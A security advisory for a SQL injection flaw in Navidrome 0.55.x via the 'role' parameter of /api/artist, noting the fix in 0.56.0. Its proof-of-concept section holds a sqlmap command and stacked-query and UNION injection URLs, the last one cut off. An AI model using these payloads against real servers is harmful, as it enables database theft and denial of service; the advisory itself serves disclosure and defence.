Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.

Affected: Go: github.com/navidrome/navidrome

## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**

### **Overview**

This vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.

---

### **Details**

* **Vulnerable Component**: API endpoint → `/api/artist` Parameter → `role`

* **Vulnerability Type**: SQL Injection (stacked queries, UNION queries)

* **Database Affected**: SQLite (confirmed exploitation via SQLite-specific payloads)

* **Impact**: Successful exploitation allows an unauthenticated attacker to:

* Execute arbitrary SQL commands * Extract or manipulate sensitive data (e.g., user records, playlists) * Potentially escalate privileges or disrupt service availability

---

### **Proof of Concept (PoC)**

**Example Exploit Command**:

```bash sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite ```

**Sample Payloads**:

* **Stacked Queries**:

``` http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ```

* **UNION-Based Query**:

``` http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,9…

govulncheck-vulndb-0.0.20250612T141001-1.1 on GA media